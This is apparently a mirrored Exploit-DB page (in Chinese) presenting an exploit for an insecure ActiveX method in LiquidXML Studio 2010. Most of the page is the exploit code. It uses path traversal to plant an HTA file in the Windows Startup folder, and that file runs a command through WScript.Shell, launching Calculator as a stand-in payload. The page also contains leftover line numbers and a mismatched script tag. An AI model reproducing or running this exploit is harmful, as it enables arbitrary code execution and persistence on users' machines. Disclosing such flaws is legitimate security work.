LiquidXML Studio 2010 – ActiveX Code Execution - 体验盒子

作者： Dr_IDE

日期： 2013-03-25

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/24885/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

<html>

var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";

var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";

target.OpenFile(sofa,1);

target.AppendString(king);

</script>

<body>

LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day<br>

By: Dr_IDE<br>

GUID: {E68E401C-7DB0-4F3A-88E1-159882468A79}<br>

Number of Interfaces: 1<br>

Default Interface: _FtpLibrary<br>

RegKey Safe for Script: False<br>

RegkeySafe for Init: False<br>

KillBitSet: False<br>

<br>

Been sitting on this one so long it could've hatched twice.

</body>

</html>